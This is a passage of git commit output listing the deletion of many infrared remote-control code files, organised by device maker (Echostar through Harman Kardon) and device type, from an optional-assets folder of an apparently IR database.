assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Dish Network/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/1,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Camera/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/132,132.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elmo/Video Projector/134,134.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/TV/135,34.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/14,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Management/91,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/1,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Library/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/1,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/1,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/MP3 Player/4,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/1,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/15,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/1,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Server/4,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Extron/Switcher/128,84.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FSC/DVD Player/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/130,110.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir delete mode 100644 